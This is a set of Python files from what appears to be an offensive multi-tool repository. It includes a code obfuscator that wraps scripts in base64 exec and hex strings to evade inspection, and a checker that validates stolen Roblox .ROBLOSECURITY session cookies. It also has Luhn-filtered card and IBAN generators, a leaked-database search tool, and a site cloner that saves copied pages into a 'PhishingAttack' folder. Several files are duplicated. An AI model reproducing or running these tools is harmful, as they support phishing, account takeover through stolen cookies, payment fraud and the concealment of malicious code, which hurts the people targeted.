| 71 | def variable_renamer(code): 72 | code = "\n" + code 73 | variable_names = re.findall(r"(\w+)(?=( |)=( |))", code) 74 | name_generator = VariableNameGenerator() 75 | for i in range(len(variable_names)): 76 | obfuscated_name = name_generator.get_random(i + 1) 77 | code = re.sub( 78 | r"(?<=[^.])(\b{}\b)".format(variable_names[i][0]), obfuscated_name, code 79 | ) 80 | return code 81 | 82 | def add_random_variables(code): 83 | useless_variables_to_add = random.randint(100, 400) 84 | name_generator = VariableNameGenerator() 85 | data_generator = RandomDataTypeGenerator() 86 | for v in range(1, useless_variables_to_add): 87 | rand_data = data_generator.get_random() 88 | if type(rand_data) == str: 89 | rand_data = '"{}"'.format(rand_data) 90 | if v % 2 == 0: 91 | code = "{} = {}\n".format(name_generator.get_random(v), rand_data) + code 92 | else: 93 | code = code + "\n{} = {}".format(name_generator.get_random(v), rand_data) 94 | return code 95 | 96 | def str_to_hex_bytes(code): 97 | python_string_decoraters = ['"""', "'''", '"', "'"] 98 | 99 | for s in python_string_decoraters: 100 | pattern = r"((?<=(( | |\n)\w+( |)=( |))({}))[\W\w]*?(?=({})))".format(s, s) 101 | t = regex.findall(pattern, code) 102 | for v in t: 103 | string_contents = v[0] 104 | if s == '"' and string_contents == '"': 105 | continue 106 | if s == "'" and string_contents == "'": 107 | continue 108 | hex_bytes = "\\" + "\\".join( 109 | x.encode("utf-8").hex() for x in string_contents 110 | ) 111 | code = regex.sub(pattern, str(hex_bytes).replace("\\", "\\\\"), code) 112 | 113 | return code 114 | 115 | def encode_base64(code): 116 | encoded_code = base64.b64encode(code.encode('utf-8')).decode('utf-8') 117 | return f"import base64; exec(base64.b64decode('{encoded_code}').decode('utf-8'))" 118 | 119 | def inject_useless_code(code): 120 | useless_code = "\n".join( 121 | f"try:\n {random.choice(string.ascii_letters)} = {random.choice([self.random_string(), self.random_int()])}" 122 | for _ in range(random.randint(10, 30)) 123 | ) 124 | return useless_code + "\n" + code 125 | 126 | def obfuscate(code, remove_techniques=[]): 127 | if len(remove_techniques) == 0: 128 | methods = all_methods 129 | else: 130 | methods = all_methods.copy() 131 | for technique in remove_techniques: 132 | methods.remove(technique) 133 | 134 | for technique in methods: 135 | code = technique(code) 136 | 137 | return code 138 | 139 | all_methods = [variable_renamer, add_random_variables, one_liner, str_to_hex_bytes, encode_base64, inject_useless_code] 140 | 141 | def main(): 142 | os.system('cls' if os.name == 'nt' else 'clear') 143 | 144 | input_file = input(f"{Colors.red}Enter the path of the file to obfuscate : ") 145 | 146 | if not os.path.isfile(input_file): 147 | print("File not found.") 148 | return 149 | 150 | with open(input_file, 'r', encoding='utf-8') as file: 151 | code = file.read() 152 | 153 | obfuscated_code = obfuscate(code) 154 | 155 | output_file = os.path.join(os.path.dirname(input_file), "obfuscated_" + os.path.basename(input_file)) 156 | with open(output_file, 'w', encoding='utf-8') as file: 157 | file.write(obfuscated_code) 158 | 159 | print(f"{Colors.red}Obfuscated code saved to {output_file}") 160 | 161 | if __name__ == "__main__": 162 | main() 163 | -------------------------------------------------------------------------------- /utils/roblox_cookie_info.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import json 3 | import os 4 | from pystyle import Colors 5 | 6 | def clear(): 7 | os.system('cls' if os.name == 'nt' else 'clear') 8 | 9 | def get_roblox_info(cookie): 10 | url = "https://www.roblox.com/mobileapi/userinfo" 11 | try: 12 | response = requests.get(url, cookies={".ROBLOSECURITY": cookie}) 13 | response.raise_for_status() 14 | info = response.json() 15 | status = "Valid" 16 | except requests.RequestException as e: 17 | print(f"An error occurred while retrieving the information: {e}") 18 | return { 19 | "status": "Invalid", 20 | "username": "None", 21 | "user_id": "None", 22 | "robux": "None", 23 | "premium": "None", 24 | "avatar": "None", 25 | "builders_club": "None" 26 | } 27 | 28 | return { 29 | "status": status, 30 | "username": info.get('UserName', "None"), 31 | "user_id": info.get("UserID", "None"), 32 | "robux": info.get("RobuxBalance", "None"), 33 | "premium": info.get("IsPremium", "None"), 34 | "avatar": info.get("ThumbnailUrl", "None"), 35 | "builders_club": info.get("IsAnyBuildersClubMember", "None") 36 | } 37 | 38 | def main(): 39 | clear() 40 | cookie = input(f"{Colors.red}Cookie : ") 41 | 42 | user_info = get_roblox_info(cookie) 43 | 44 | print(f"""{Colors.red} 45 | Status : {user_info['status']} 46 | Username : {user_info['username']} 47 | Id : {user_info['user_id']} 48 | Robux : {user_info['robux']} 49 | Premium : {user_info['premium']} 50 | Builders Club : {user_info['builders_club']} 51 | Avatar : {user_info['avatar']} 52 | """) 53 | 54 | if __name__ == "__main__": 55 | main() 56 | -------------------------------------------------------------------------------- /utils/roblox_id_info.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import os 3 | from pystyle import Colors 4 | 5 | def clear(): 6 | os.system('cls' if os.name == 'nt' else 'clear') 7 | 8 | def print_error(message): 9 | print(f"{Colors.red}Error: {message}{Colors.reset}") 10 | 11 | def print_info(message): 12 | print(f"{Colors.red}{message}{Colors.reset}") 13 | 14 | def format_value(value, default="Unknown"): 15 | if value is None: 16 | return default 17 | elif isinstance(value, bool): 18 | return "Yes" if value else "No" 19 | return value 20 | 21 | def main(): 22 | clear() 23 | 24 | while True: 25 | user_id = input(f"{Colors.red}\nEnter the user ID : {Colors.reset}").strip() 26 | 27 | if user_id.lower() == 'exit': 28 | break 29 | 30 | try: 31 | user_info_response = requests.get(f"https://users.roblox.com/v1/users/{user_id}") 32 | user_info = user_info_response.json() 33 | 34 | if user_info_response.status_code != 200: 35 | print_error("Invalid user ID or unable to retrieve information.") 36 | else: 37 | userid = format_value(user_info.get('id')) 38 | display_name = format_value(user_info.get('displayName')) 39 | username = format_value(user_info.get('name')) 40 | description = format_value(user_info.get('description'), "Not available") 41 | created_at = format_value(user_info.get('created')) 42 | is_banned = format_value(user_info.get('isBanned')) 43 | external_app_display_name = format_value(user_info.get('externalAppDisplayName'), "Not available") 44 | has_verified_badge = format_value(user_info.get('hasVerifiedBadge')) 45 | join_date = format_value(user_info.get('created')) 46 | 47 | groups_response = requests.get(f"https://groups.roblox.com/v2/users/{user_id}/groups/roles") 48 | groups_info = groups_response.json().get('data', []) 49 | groups = ", ".join([group['group']['name'] for group in groups_info]) or "No groups" 50 | 51 | favorites_response = requests.get(f"https://games.roblox.com/v2/users/{user_id}/favorite/games") 52 | favorites_info = favorites_response.json().get('data', []) 53 | favorite_games = ", ".join([game['name'] for game in favorites_info]) or "No favorite games" 54 | 55 | info_text = f"""{Colors.red} 56 | Username: {username} 57 | Id: {userid} 58 | Display Name: {display_name} 59 | Description: {description} 60 | Created: {created_at} 61 | Banned: {is_banned} 62 | External Name: {external_app_display_name} 63 | Verified Badge: {has_verified_badge} 64 | Join Date: {join_date} 65 | Groups: {groups} 66 | Favorite Games: {favorite_games} 67 | {Colors.reset}""" 68 | 69 | print_info(info_text) 70 | input(f"{Colors.yellow}Press Enter to continue...{Colors.reset}") 71 | 72 | except Exception as e: 73 | print_error(f"An error occurred: {e}") 74 | 75 | if __name__ == "__main__": 76 | main() 77 | -------------------------------------------------------------------------------- /utils/roblox_user_info.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import os 3 | from pystyle import Colors, Colorate 4 | 5 | def clear(): 6 | os.system('cls' if os.name == 'nt' else 'clear') 7 | 8 | 9 | def print_error(message): 10 | print(f"{Colors.red}Error: {message}{Colors.reset}") 11 | 12 | def print_info(message): 13 | print(f"{Colors.red}{message}{Colors.reset}") 14 | 15 | def format_value(value, default="Unknown"): 16 | if value is None: 17 | return default 18 | elif isinstance(value, bool): 19 | return "Yes" if value else "No" 20 | return value 21 | 22 | def Error(e): 23 | print_error(f"An error occurred: {e}") 24 | 25 | def ErrorUsername(): 26 | print_error("Invalid username or unable to retrieve information.") 27 | 28 | def main(): 29 | clear() 30 | 31 | while True: 32 | username = input(f"{Colors.red}\nEnter the username (or 'exit' to quit): {Colors.reset}").strip() 33 | 34 | if username.lower() == 'exit': 35 | break 36 | 37 | try: 38 | user_id_response = requests.get(f"https://api.roblox.com/users/get-by-username?username={username}") 39 | user_id_info = user_id_response.json() 40 | 41 | if user_id_response.status_code != 200 or 'Id' not in user_id_info: 42 | ErrorUsername() 43 | else: 44 | user_id = user_id_info['Id'] 45 | 46 | user_info_response = requests.get(f"https://users.roblox.com/v1/users/{user_id}") 47 | user_info = user_info_response.json() 48 | 49 | if user_info_response.status_code != 200: 50 | ErrorUsername() 51 | else: 52 | userid = format_value(user_info.get('id')) 53 | display_name = format_value(user_info.get('displayName')) 54 | username = format_value(user_info.get('name')) 55 | description = format_value(user_info.get('description'), "Not available") 56 | created_at = format_value(user_info.get('created')) 57 | is_banned = format_value(user_info.get('isBanned')) 58 | external_app_display_name = format_value(user_info.get('externalAppDisplayName'), "Not available") 59 | has_verified_badge = format_value(user_info.get('hasVerifiedBadge')) 60 | join_date = format_value(user_info.get('created')) 61 | 62 | groups_response = requests.get(f"https://groups.roblox.com/v2/users/{user_id}/groups/roles") 63 | groups_info = groups_response.json().get('data', []) 64 | groups = ", ".join([group['group']['name'] for group in groups_info]) or "No groups" 65 | 66 | favorites_response = requests.get(f"https://games.roblox.com/v2/users/{user_id}/favorite/games") 67 | favorites_info = favorites_response.json().get('data', []) 68 | favorite_games = ", ".join([game['name'] for game in favorites_info]) or "No favorite games" 69 | 70 | info_text = f"""{Colors.red} 71 | Username: {username} 72 | Id: {userid} 73 | Display Name: {display_name} 74 | Description: {description} 75 | Created: {created_at} 76 | Banned: {is_banned} 77 | External Name: {external_app_display_name} 78 | Verified Badge: {has_verified_badge} 79 | Join Date: {join_date} 80 | Groups: {groups} 81 | Favorite Games: {favorite_games} 82 | {Colors.reset}""" 83 | 84 | print_info(info_text) 85 | input(f"{Colors.yellow}Press Enter to continue...{Colors.reset}") 86 | 87 | except Exception as e: 88 | Error(e) 89 | 90 | if __name__ == "__main__": 91 | main() 92 | -------------------------------------------------------------------------------- /utils/scrapper/credit_card_scrapper.py: -------------------------------------------------------------------------------- 1 | import random 2 | import string 3 | import os 4 | 5 | def generate_random_credit_card(brand): 6 | if brand == "Visa": 7 | card_number = '4' + ''.join(random.choice(string.digits) for _ in range(15)) 8 | elif brand == "MasterCard": 9 | card_number = '5' + ''.join(random.choice(string.digits) for _ in range(15)) 10 | return card_number 11 | 12 | def generate_random_expiry_date(): 13 | month = random.randint(1, 12) 14 | year = random.randint(2025, 2030) 15 | return f"{month:02}/{year}" 16 | 17 | def generate_random_cvv(): 18 | return ''.join(random.choice(string.digits) for _ in range(3)) 19 | 20 | def luhn(n): 21 | r = [int(ch) for ch in str(n)][::-1] 22 | return (sum(r[0::2]) + sum(sum(divmod(d*2, 10)) for d in r[1::2])) % 10 == 0 23 | 24 | def main(): 25 | os.system('cls' if os.name == 'nt' else 'clear') 26 | 27 | folder_name = "credit_card_data" 28 | if not os.path.exists(folder_name): 29 | os.makedirs(folder_name) 30 | 31 | brands = ["Visa", "MasterCard"] 32 | 33 | valid_file_path = os.path.join(folder_name, "valid_credit_cards.txt") 34 | invalid_file_path = os.path.join(folder_name, "invalid_credit_cards.txt") 35 | 36 | with open(valid_file_path, "a") as valid_file, open(invalid_file_path, "a") as invalid_file: 37 | try: 38 | while True: 39 | brand = random.choice(brands) 40 | card_number = generate_random_credit_card(brand) 41 | expiry_date = generate_random_expiry_date() 42 | cvv = generate_random_cvv() 43 | is_valid = luhn(card_number) 44 | status = "Valid" if is_valid else "Invalid" 45 | result = f"{status} - {card_number} ({brand}) - Exp: {expiry_date} - CVV: {cvv}\n" 46 | 47 | if is_valid: 48 | valid_file.write(result) 49 | else: 50 | invalid_file.write(result) 51 | 52 | print(result.strip()) 53 | 54 | except KeyboardInterrupt: 55 | print("\nExiting...") 56 | 57 | if __name__ == "__main__": 58 | main() 59 | -------------------------------------------------------------------------------- /utils/scrapper/iban_scrapper.py: -------------------------------------------------------------------------------- 1 | import random 2 | import string 3 | import os 4 | 5 | 6 | 7 | def luhn(n): 8 | r = [int(ch) for ch in str(n)][::-1] 9 | return (sum(r[0::2]) + sum(sum(divmod(d*2, 10)) for d in r[1::2])) % 10 == 0 10 | 11 | def generate_random_iban(): 12 | country_code = "FR" 13 | check_digits = ''.join(random.choice(string.digits) for _ in range(2)) 14 | bank_code = ''.join(random.choice(string.digits) for _ in range(5)) 15 | branch_code = ''.join(random.choice(string.digits) for _ in range(5)) 16 | account_number = ''.join(random.choice(string.digits) for _ in range(11)) 17 | iban = f"{country_code}{check_digits}{bank_code}{branch_code}{account_number}" 18 | return iban 19 | 20 | def is_valid_iban(iban): 21 | return iban.startswith("FR") and len(iban) == 27 and luhn(iban[4:]) 22 | 23 | def clear(): 24 | os.system('cls' if os.name == 'nt' else 'clear') 25 | 26 | def main(): 27 | clear() 28 | 29 | folder_name = "iban_data" 30 | if not os.path.exists(folder_name): 31 | os.makedirs(folder_name) 32 | 33 | valid_file_path = os.path.join(folder_name, "valid_ibans.txt") 34 | invalid_file_path = os.path.join(folder_name, "invalid_ibans.txt") 35 | 36 | with open(valid_file_path, "a") as valid_file, open(invalid_file_path, "a") as invalid_file: 37 | try: 38 | while True: 39 | iban = generate_random_iban() 40 | is_valid = is_valid_iban(iban) 41 | status = "Valid" if is_valid else "Invalid" 42 | result = f"{status} - {iban}\n" 43 | 44 | if is_valid: 45 | valid_file.write(result) 46 | else: 47 | invalid_file.write(result) 48 | 49 | print(result.strip()) 50 | 51 | except KeyboardInterrupt: 52 | print("\nExiting...") 53 | 54 | if __name__ == "__main__": 55 | main() 56 | -------------------------------------------------------------------------------- /utils/scrapper/scrapper_number.py: -------------------------------------------------------------------------------- 1 | import random 2 | import string 3 | import phonenumbers 4 | from phonenumbers import NumberParseException 5 | from pystyle import Colors 6 | import os 7 | 8 | operators = { 9 | "France": [("06", "Orange"), ("07", "SFR"), ("07", "Bouygues"), ("07", "Free")], 10 | } 11 | 12 | def generate_phone_number(prefix, length=8): 13 | number = ''.join(random.choice(string.digits) for _ in range(length)) 14 | return f"{prefix}{number}" 15 | 16 | def generate_phone_numbers_with_operators(country): 17 | prefix, operator = random.choice(operators[country]) 18 | phone_number = generate_phone_number(prefix) 19 | return { 20 | "country": country, 21 | "phone_number": phone_number, 22 | "operator": operator 23 | } 24 | 25 | def is_valid_phone_number(phone_number, country): 26 | try: 27 | parsed_number = phonenumbers.parse(phone_number, country) 28 | return phonenumbers.is_valid_number(parsed_number) 29 | except NumberParseException: 30 | return False 31 | 32 | def clear(): 33 | os.system('cls' if os.name == 'nt' else 'clear') 34 | 35 | def main(): 36 | clear() 37 | 38 | folder_name = "phone_number_data" 39 | if not os.path.exists(folder_name): 40 | os.makedirs(folder_name) 41 | 42 | country = "France" 43 | 44 | valid_file_path = os.path.join(folder_name, "valid_phone_numbers.txt") 45 | invalid_file_path = os.path.join(folder_name, "invalid_phone_numbers.txt") 46 | 47 | with open(valid_file_path, "a") as valid_file, open(invalid_file_path, "a") as invalid_file: 48 | try: 49 | while True: 50 | entry = generate_phone_numbers_with_operators(country) 51 | phone_number = entry['phone_number'] 52 | is_valid = is_valid_phone_number(phone_number, "FR") 53 | # For terminal output with color 54 | status_color = f"{Colors.green}Valid" if is_valid else f"{Colors.red}Invalid" 55 | result_color = f"{status_color}{Colors.reset} | {phone_number} ({entry['operator']})" 56 | 57 | # For file output without color 58 | status_text = "Valid" if is_valid else "Invalid" 59 | result_text = f"{status_text} | {phone_number} ({entry['operator']})\n" 60 | 61 | if is_valid: 62 | valid_file.write(result_text) 63 | else: 64 | invalid_file.write(result_text) 65 | 66 | print(result_color.strip()) 67 | 68 | except KeyboardInterrupt: 69 | print("\nExiting...") 70 | 71 | if __name__ == "__main__": 72 | main() 73 | -------------------------------------------------------------------------------- /utils/scrapper/scrapper_proxy.py: -------------------------------------------------------------------------------- 1 | import random 2 | import time 3 | import os 4 | import httpx 5 | 6 | def main(): 7 | pass 8 | 9 | def save_proxies(proxies): 10 | with open("proxies.txt", "w") as file: 11 | file.write("\n".join(proxies)) 12 | file.close() 13 | 14 | def get_proxies(): 15 | if os.path.exists('proxies.txt'): 16 | os.remove('proxies.txt') 17 | file1 = open('proxies.txt', 'a+') 18 | file1.close() 19 | 20 | with open('proxies.txt', 'r', encoding='utf-8') as f: 21 | proxies = f.read().splitlines() 22 | 23 | if not proxies: 24 | proxy_log = {} 25 | else: 26 | proxy = random.choice(proxies) 27 | proxy_log = { 28 | "http://": f"http://{proxy}", 29 | "https://": f"http://{proxy}" 30 | } 31 | 32 | try: 33 | url = "https://api.proxyscrape.com/v2/?request=getproxies&protocol=http&timeout=10000&country=all" 34 | response = httpx.get(url, proxies=proxy_log, timeout=60) 35 | 36 | if response.status_code == 200: 37 | proxies = response.text.splitlines() 38 | save_proxies(proxies) 39 | else: 40 | time.sleep(1) 41 | get_proxies() 42 | except (httpx.ProxyError, httpx.ReadError, httpx.ConnectTimeout, httpx.ReadTimeout, httpx.ConnectError, httpx.ProtocolError): 43 | get_proxies() 44 | 45 | if __name__ == "__main__": 46 | main() 47 | get_proxies() 48 | -------------------------------------------------------------------------------- /utils/scrapper/site_phising.py: -------------------------------------------------------------------------------- 1 | import os 2 | import requests 3 | from bs4 import BeautifulSoup 4 | from urllib.parse import urljoin 5 | import re 6 | from pystyle import Colors 7 | 8 | def clear(): 9 | os.system('cls' if os.name == 'nt' else 'clear') 10 | 11 | def css_and_js(html_content, base_url): 12 | soup = BeautifulSoup(html_content, 'html.parser') 13 | 14 | print("Recovering CSS...") 15 | css_links = soup.find_all('link', rel='stylesheet') 16 | if css_links: 17 | all_css = "" 18 | for link in css_links: 19 | css_url = urljoin(base_url, link['href']) 20 | try: 21 | css_response = requests.get(css_url) 22 | if css_response.status_code == 200: 23 | all_css += css_response.text + "\n" 24 | else: 25 | print(f"Error retrieving CSS from {css_url}.") 26 | except Exception as e: 27 | print(f"Error retrieving CSS from {css_url}. Exception: {e}") 28 | 29 | if all_css: 30 | style_tag = soup.new_tag('style') 31 | style_tag.string = all_css 32 | soup.head.append(style_tag) 33 | for link in css_links: 34 | link.decompose() 35 | else: 36 | print("No CSS links found.") 37 | 38 | print("Recovering JavaScript...") 39 | script_links = soup.find_all('script', src=True) 40 | if script_links: 41 | all_js = "" 42 | for script in script_links: 43 | js_url = urljoin(base_url, script['src']) 44 | try: 45 | js_response = requests.get(js_url) 46 | if js_response.status_code == 200: 47 | all_js += js_response.text + "\n" 48 | else: 49 | print(f"Error retrieving JavaScript from {js_url}.") 50 | except Exception as e: 51 | print(f"Error retrieving JavaScript from {js_url}. Exception: {e}") 52 | 53 | if all_js: 54 | script_tag = soup.new_tag('script') 55 | script_tag.string = all_js 56 | soup.body.append(script_tag) 57 | for script in script_links: 58 | script.decompose() 59 | else: 60 | print("No JavaScript links found.") 61 | 62 | return soup.prettify() 63 | 64 | def main(): 65 | pass 66 | 67 | clear() 68 | website_url = input(f"{Colors.red}Website URL : ") 69 | if "https://" not in website_url and "http://" not in website_url: 70 | website_url = "https://" + website_url 71 | 72 | try: 73 | print("Recovering HTML...") 74 | response = requests.get(website_url, timeout=5) 75 | if response.status_code == 200: 76 | html_content = response.text 77 | soup = BeautifulSoup(html_content, 'html.parser') 78 | file_name = re.sub(r'[\\/:*?"<>|]', '-', soup.title.string if soup.title else 'page_sans_titre') 79 | 80 | output_folder = 'PhishingAttack' 81 | os.makedirs(output_folder, exist_ok=True) 82 | 83 | file_html_relative = os.path.join(output_folder, f'{file_name}.html') 84 | file_html = os.path.abspath(file_html_relative) 85 | 86 | final_html = css_and_js(html_content, website_url) 87 | 88 | with open(file_html, 'w', encoding='utf-8') as file: 89 | file.write(final_html) 90 | print(f"{Colors.red}Phishing attack successful. The file is located in the folder \"{file_html_relative}\"") 91 | else: 92 | print(f"Error with URL. Status code: {response.status_code}") 93 | except Exception as e: 94 | print(f"An error occurred: {e}") 95 | 96 | if __name__ == "__main__": 97 | main() 98 | -------------------------------------------------------------------------------- /utils/scrapper_number.py: -------------------------------------------------------------------------------- 1 | import random 2 | import string 3 | import phonenumbers 4 | from phonenumbers import NumberParseException 5 | import os 6 | 7 | operators = { 8 | "France": [("06", "Orange"), ("07", "SFR"), ("07", "Bouygues"), ("07", "Free")], 9 | } 10 | 11 | def generate_phone_number(prefix, length=8): 12 | number = ''.join(random.choice(string.digits) for _ in range(length)) 13 | return f"{prefix}{number}" 14 | 15 | def generate_phone_numbers_with_operators(country): 16 | prefix, operator = random.choice(operators[country]) 17 | phone_number = generate_phone_number(prefix) 18 | return { 19 | "country": country, 20 | "phone_number": phone_number, 21 | "operator": operator 22 | } 23 | 24 | def is_valid_phone_number(phone_number, country): 25 | try: 26 | parsed_number = phonenumbers.parse(phone_number, country) 27 | return phonenumbers.is_valid_number(parsed_number) 28 | except NumberParseException: 29 | return False 30 | 31 | def clear(): 32 | os.system('cls' if os.name == 'nt' else 'clear') 33 | 34 | def main(): 35 | clear() 36 | 37 | folder_name = "phone_number_data" 38 | if not os.path.exists(folder_name): 39 | os.makedirs(folder_name) 40 | 41 | country = "France" 42 | 43 | valid_file_path = os.path.join(folder_name, "valid_phone_numbers.txt") 44 | invalid_file_path = os.path.join(folder_name, "invalid_phone_numbers.txt") 45 | 46 | with open(valid_file_path, "a") as valid_file, open(invalid_file_path, "a") as invalid_file: 47 | try: 48 | while True: 49 | entry = generate_phone_numbers_with_operators(country) 50 | phone_number = entry['phone_number'] 51 | is_valid = is_valid_phone_number(phone_number, "FR") 52 | status = "Valid" if is_valid else "Invalid" 53 | result = f"{status} - {phone_number} ({entry['operator']})\n" 54 | 55 | if is_valid: 56 | valid_file.write(result) 57 | else: 58 | invalid_file.write(result) 59 | 60 | print(result.strip()) 61 | 62 | except KeyboardInterrupt: 63 | print("\nExiting...") 64 | 65 | if __name__ == "__main__": 66 | main() 67 | -------------------------------------------------------------------------------- /utils/scrapper_proxy.py: -------------------------------------------------------------------------------- 1 | import random 2 | import time 3 | import os 4 | import httpx 5 | 6 | def main(): 7 | pass 8 | 9 | def save_proxies(proxies): 10 | with open("proxies.txt", "w") as file: 11 | file.write("\n".join(proxies)) 12 | file.close() 13 | 14 | def get_proxies(): 15 | if os.path.exists('proxies.txt'): 16 | os.remove('proxies.txt') 17 | file1 = open('proxies.txt', 'a+') 18 | file1.close() 19 | 20 | with open('proxies.txt', 'r', encoding='utf-8') as f: 21 | proxies = f.read().splitlines() 22 | 23 | if not proxies: 24 | proxy_log = {} 25 | else: 26 | proxy = random.choice(proxies) 27 | proxy_log = { 28 | "http://": f"http://{proxy}", 29 | "https://": f"http://{proxy}" 30 | } 31 | 32 | try: 33 | url = "https://api.proxyscrape.com/v2/?request=getproxies&protocol=http&timeout=10000&country=all" 34 | response = httpx.get(url, proxies=proxy_log, timeout=60) 35 | 36 | if response.status_code == 200: 37 | proxies = response.text.splitlines() 38 | save_proxies(proxies) 39 | else: 40 | time.sleep(1) 41 | get_proxies() 42 | except (httpx.ProxyError, httpx.ReadError, httpx.ConnectTimeout, httpx.ReadTimeout, httpx.ConnectError, httpx.ProtocolError): 43 | get_proxies() 44 | 45 | if __name__ == "__main__": 46 | main() 47 | get_proxies() 48 | -------------------------------------------------------------------------------- /utils/search_database.py: -------------------------------------------------------------------------------- 1 | import os 2 | from pystyle import Colors 3 | 4 | def clear(): 5 | os.system('cls' if os.name == 'nt' else 'clear') 6 | 7 | def search_in_file(file_path, search_term): 8 | try: 9 | with open(file_path, 'r', encoding='utf-8') as file: 10 | for line_number, line in enumerate(file, start=1): 11 | if search_term in line: 12 | return line_number, line.strip().replace(search_term, f"\033[93m{search_term}\033[0m") 13 | except UnicodeDecodeError: 14 | try: 15 | with open(file_path, 'r', encoding='latin-1') as file: 16 | for line_number, line in enumerate(file, start=1): 17 | if search_term in line: 18 | return line_number, line.strip().replace(search_term, f"\033[93m{search_term}\033[0m") 19 | except Exception as e: 20 | print(f"Error reading file '{file_path}': {e}") 21 | except Exception as e: 22 | print(f"Error reading file '{file_path}': {e}") 23 | return None, None 24 | 25 | def search_directory(directory, search_term): 26 | total_files = 0 27 | found_results = False 28 | 29 | for root, dirs, files in os.walk(directory): 30 | for file_name in files: 31 | file_path = os.path.join(root, file_name) 32 | result_line_number, result_line = search_in_file(file_path, search_term) 33 | total_files += 1 34 | 35 | if result_line_number: 36 | found_results = True 37 | print(f"{Colors.red}File : {file_name}") 38 | print(f"{Colors.red}Result : {result_line}") 39 | print() 40 | 41 | return total_files, found_results 42 | 43 | def main(): 44 | clear() 45 | folder_path = "Database" 46 | absolute_path = os.path.abspath(folder_path) 47 | 48 | search_term = input(f"{Colors.red}Enter search term : ").strip() 49 | 50 | if not search_term: 51 | print("Search term cannot be empty.") 52 | return 53 | 54 | try: 55 | total_files, found_results = search_directory(absolute_path, search_term) 56 | if not found_results: 57 | print(f"{Colors.red}No matches found for '{search_term}'.") 58 | print(f"{Colors.red}Total files checked: {total_files}") 59 | except Exception as e: 60 | print(f"An error occurred during the search: {e}") 61 | 62 | if __name__ == "__main__": 63 | main() 64 | -------------------------------------------------------------------------------- /utils/server_info.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import os 3 | from pystyle import Colors 4 | 5 | def clear(): 6 | os.system('cls' if os.name == 'nt' else 'clear') 7 | 8 | def print_error(message): 9 | print(f"{Colors.red}Error: {message}{Colors.reset}") 10 | 11 | def print_info(message): 12 | print(f"{Colors.red}{message}{Colors.reset}") 13 | 14 | def print_header(header): 15 | print(f"{Colors.red}{header}{Colors.reset}") 16 | 17 | def server_lookup(): 18 | clear() 19 | invitelink = input(f"{Colors.red}Insert end part of link of discord server link: {Colors.reset}").strip() 20 | clear() 21 | 22 | try: 23 | if "discord.gg" in invitelink: 24 | code = invitelink.split('/')[-1] 25 | else: 26 | code = invitelink 27 | 28 | res = requests.get(f"https://discord.com/api/v9/invites/{code}") 29 | 30 | if res.status_code == 200: 31 | res_json = res.json() 32 | 33 | print_header("Invitation Information:") 34 | print_info(f"Invite Link: https://discord.gg/{res_json['code']}") 35 | print_info(f"Channel: {res_json['channel']['name']} ({res_json['channel']['id']})") 36 | print_info(f"Expiration Date: {res_json['expires_at']}\n") 37 | 38 | print_header("Inviter Information:") 39 | print_info(f"Username: {res_json['inviter']['username']}#{res_json['inviter']['discriminator']}") 40 | print_info(f"User ID: {res_json['inviter']['id']}\n") 41 | 42 | print_header("Server Information:") 43 | print_info(f"Name: {res_json['guild']['name']}") 44 | print_info(f"Server ID: {res_json['guild']['id']}") 45 | print_info(f"Banner: {res_json['guild']['banner']}") 46 | print_info(f"Description: {res_json['guild']['description']}") 47 | print_info(f"Custom Invite Link: {res_json['guild']['vanity_url_code']}") 48 | print_info(f"Verification Level: {res_json['guild']['verification_level']}") 49 | print_info(f"Splash: {res_json['guild']['splash']}") 50 | print_info(f"Features: {', '.join(res_json['guild']['features'])}") 51 | else: 52 | print_error(f"An error occurred while sending request (Status Code: {res.status_code})") 53 | 54 | except Exception as e: 55 | print_error(f"Error: {e}") 56 | 57 | def main(): 58 | clear() 59 | 60 | while True: 61 | server_lookup() 62 | input(f"{Colors.red}\nPress ENTER to return to the main menu{Colors.reset}") 63 | clear() 64 | 65 | if __name__ == "__main__": 66 | main() 67 | -------------------------------------------------------------------------------- /utils/site_phising.py: -------------------------------------------------------------------------------- 1 | import os 2 | import requests 3 | from bs4 import BeautifulSoup 4 | from urllib.parse import urljoin 5 | import re 6 | from pystyle import Colors 7 | 8 | def clear(): 9 | os.system('cls' if os.name == 'nt' else 'clear') 10 | 11 | def css_and_js(html_content, base_url): 12 | soup = BeautifulSoup(html_content, 'html.parser') 13 | 14 | print("Recovering CSS...") 15 | css_links = soup.find_all('link', rel='stylesheet') 16 | if css_links: 17 | all_css = "" 18 | for link in css_links: 19 | css_url = urljoin(base_url, link['href']) 20 | try: 21 | css_response = requests.get(css_url) 22 | if css_response.status_code == 200: 23 | all_css += css_response.text + "\n" 24 | else: 25 | print(f"Error retrieving CSS from {css_url}.") 26 | except Exception as e: 27 | print(f"Error retrieving CSS from {css_url}. Exception: {e}") 28 | 29 | if all_css: 30 | style_tag = soup.new_tag('style') 31 | style_tag.string = all_css 32 | soup.head.append(style_tag) 33 | for link in css_links: 34 | link.decompose() 35 | else: 36 | print("No CSS links found.") 37 | 38 | print("Recovering JavaScript...") 39 | script_links = soup.find_all('script', src=True) 40 | if script_links: 41 | all_js = "" 42 | for script in script_links: 43 | js_url = urljoin(base_url, script['src']) 44 | try: 45 | js_response = requests.get(js_url) 46 | if js_response.status_code == 200: 47 | all_js += js_response.text + "\n" 48 | else: 49 | print(f"Error retrieving JavaScript from {js_url}.") 50 | except Exception as e: 51 | print(f"Error retrieving JavaScript from {js_url}. Exception: {e}") 52 | 53 | if all_js: 54 | script_tag = soup.new_tag('script') 55 | script_tag.string = all_js 56 | soup.body.append(script_tag) 57 | for script in script_links: 58 | script.decompose() 59 | else: 60 | print("No JavaScript links found.") 61 | 62 | return soup.prettify() 63 | 64 | def main(): 65 | pass 66 | 67 | clear() 68 | website_url = input(f"{Colors.red}Website URL : ") 69 | if "https://" not in website_url and "http://" not in website_url: 70 | website_url = "https://" + website_url 71 | 72 | try: 73 | print("Recovering HTML...") 74 | response = requests.get(website_url, timeout=5) 75 | if response.status_code == 200: 76 | html_content = response.text 77 | soup = BeautifulSoup(html_content, 'html.parser') 78 | file_name = re.sub(r'[\\/:*?"<>|]', '-', soup.title.string if soup.title else 'page_sans_titre') 79 | 80 | output_folder = 'PhishingAttack' 81 | os.makedirs(output_folder, exist_ok=True) 82 | 83 | file_html_relative = os.path.join(output_folder, f'{file_name}.html') 84 | file_html = os.path.abspath(file_html_relative) 85 | 86 | final_html = css_and_js(html_content, website_url) 87 | 88 | with open(file_html, 'w', encoding='utf-8') as file: 89 | file.write(final_html) 90 | 